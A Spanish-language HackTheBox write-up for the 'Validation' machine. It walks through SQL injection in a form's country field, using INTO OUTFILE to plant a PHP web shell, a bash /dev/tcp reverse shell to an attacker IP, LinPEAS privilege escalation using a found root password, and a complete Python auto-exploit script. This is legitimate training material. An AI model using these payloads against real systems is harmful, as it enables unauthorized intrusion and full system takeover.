Post

HTB Validation

Descripción

Validation es una máquina catalogada como fácil que cuenta con una página web vulnerable a inyecciones SQL. Para aprovechar esta vulnerabilidad, haremos uso de herramientas como BurpSuite para ejecutar la inyección SQL y cargar un archivo en el servidor, lo que nos permitirá tener ejecución de comandos. Para la escalada de privilegios, hemos decidido utilizar Linpeas, un script de bash que nos permitirá enumerar las posibles rutas para llevar a cabo la escalada.


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo a través del script implementado en bash whichSystem.sh

Untitled

El sistema operativo es una Linux

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap. Comando: sudo nmap -p- --open -sS -T4 -vvv -n -Pn 192.168.1.20 -oG allPorts

Untitled

Puertos abiertos son: 22,80,4566,8080

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados.

Comando: nmap -sCV -p80,3306,33060 192.168.1.20 -oN targeted

Obteniendo:

Untitled

Web Enumeration

Identificando tecnologías y el gestor de contenido a través de whatweb

Untitled

No se lista mayor información, nos dirigimos hacia la página web

Untitled

Tenemos un panel para ingresar un username y elegir un país al ingresar un usuario esta información se ve reflejada en la página web

Untitled

Se procede a probar inyecciones HTML, SQL, XSS, etc.

  • Probando inyección HTML

Untitled

Untitled

  • Inyección SQL:

Untitled

Untitled

  • Inyección XSS:

Untitled

Untitled

De las inyecciones probadas comprobamos que es vulnerable a HTML y XSS pero no listada gran información y solo son válidas en el campo username por lo cual a través de Burp Suite se tratara de probar inyecciones en el campo de países

Inyección SQL con BurpSuite

Vamos a interceptar una petición y ver su estructura en el Burp Suite

Obteniendo:

Untitled

Disponemos de un campo username que es en el cual estábamos probando antes las inyecciones y un campo country probaremos las inyecciones en este nuevo campo.

Con:

Untitled

Se obtiene:

Untitled

Se comprueba que es vulnerable a inyección SQL

Se procede a identificar el número de columnas de la base de datos a través de 'order by 100

Sé irá probando con valores muy altos y sé irá disminuyendo hasta no obtener un error y de esta manera identificar el número por el cual está conformada la base de datos.

  • 'order by 10-- - Error

Untitled

Untitled

  • 'order by 5-- -

Untitled

Vamos disminuyendo los valores hasta no encontrar un error

  • 'order by 1-- -

Untitled

Obteniendo:

Untitled

Por lo que podemos concluir que la base de datos esta formado por una columna, una vez identificado el numero de columnas tratamos de ver si disponemos de subir archivos a través de la query union select y INTO OUTFILE

Probaremos con la query:

1
' union select "Comando" into outfile '/var/www/html/prueba.txt'-- -

de subir un archivo prueba.txt que contenga la palabra comando y ver si nos muestra en el navegador.

Untitled

Obteniendo:

Untitled

Por lo que comprobamos que disponemos de subida de archivos en el servidor.

Intrusión

Una vez conocida que disponemos de la carga de archivos podemos enviar el payload para lanzar un webshell.

Utilizando la query:

1
' union select "<?php SYSTEM($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

Untitled

Untitled

Disponiendo de ejecución de comandos:

Untitled

Nos lanzaremos una consola a nuestra máquina atacante que estará en escucha a través de netcat

1
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"

Untitled

Untitled

Obteniendo:

Untitled

Disponemos de una consola interactiva correspondiente a la máquina víctima

Listando la flag user.txt

Untitled

Privilege Escalation

Para esta la parte de escalada yo decidí probar el uso de Linpeas que como nos dice la descripción de su Github “LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. The checks are explained on”

Linpeas

Procedemos a descargarnos el script de la página https://github.com/carlospolop/PEASS-ng/releases/tag/20230305

Al ser una máquina Linux corresponde el .sh

La máquina víctima no cuenta con un editor de texto, por lo que en mi máquina de atacante codificaré el script en Base64 y lo copiaré en mi portapapeles. De esta forma, podré decodificar el código en la máquina víctima y guardarlo en un archivo.

Obteniendo:

Untitled

Tendremos el script codificado en base64 guardado en nuestra clipbord, procedemos a pegar este contenido en la maquina victima y guardalo, tendremos que irnos a un directorio con capacidad de escritura y ejectucion como puede ser /tmp/

Recordar que el comando a utilizar para la decodificación es

1
echo <contenido clipboard> | base64 -d > linpeas.sh

Obteniendo:

Untitled

Otorgamos de permisos de ejecución y procedemos a ejecutar el script:

Untitled

Obteniendo:

Untitled

Como habrás notado, hay una gran cantidad de información disponible. No te abrumes y tómate un tiempo para revisar cuidadosamente todos los apartados de información que la herramienta nos ha proporcionado. Con paciencia, podrás procesar toda la información de manera efectiva.

En la sección de “Interesting Files”

Untitled

En la subsección “Searching passwords in config PHP files”

Untitled

Nos está listando una contraseña:

  • uhc-9qual-global-pw

La probamos con el usuario root

Untitled

Se habrá ganado acceso al usuario root. Esta contraseña se encuentra en el directorio /var/ww/html y fácilmente hubiera sido listada con el usuario www-data.

Listando flag: root.txt

Untitled

Es evidente que “Linpeas” es una herramienta muy útil para la escalada de privilegios, ya que nos ayuda a recopilar una gran cantidad de información útil. Si bien puede no ser tan relevante en máquinas sencillas como esta, puede resultar muy valiosa en máquinas más complejas. En definitiva, “Linpeas” es una opción interesante que deberíamos considerar para futuras escaladas de privilegios, ya que también funciona en Windows.

Script Python Auto Pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
##!/usr/bin/python3

from pwn import *
import signal, pdb, requests
import sys
import threading  # Agregar la importación de threading

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

## Ctrl+C
signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) != 3:
    log.failure("Uso: %s <ip-address> filename" % sys.argv[0])
    sys.exit(1)

## Variables Globales
ip_address = sys.argv[1]
filename = sys.argv[2]
main_url = "http://%s/" % ip_address
lport = 555

def createFile():
    data_post = {
        'username': 'pablo',
        'country': """Brazil' union select "<?php SYSTEM($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/html/%s"-- -""" % filename
    }

    r = requests.post(main_url, data=data_post)

def getAccess():
    data_post = {
        'cmd' : "bash -c 'bash -i >& /dev/tcp/10.10.14.9/555 0>&1'"
    }

    r = requests.post(main_url + "%s" % filename, data=data_post)

if __name__ == '__main__':
    createFile()
    try:
        threading.Thread(target=getAccess, args=()).start()
##        pdb.set_trace()
    except Exception as e:
        log.error(str(e))

    shell = listen(lport, timeout=20).wait_for_connection()
    shell.sendline("su root")
    time.sleep(2)
    shell.sendline("uhc-9qual-global-pw")
    shell.interactive()
This post is licensed under CC BY 4.0 by the author.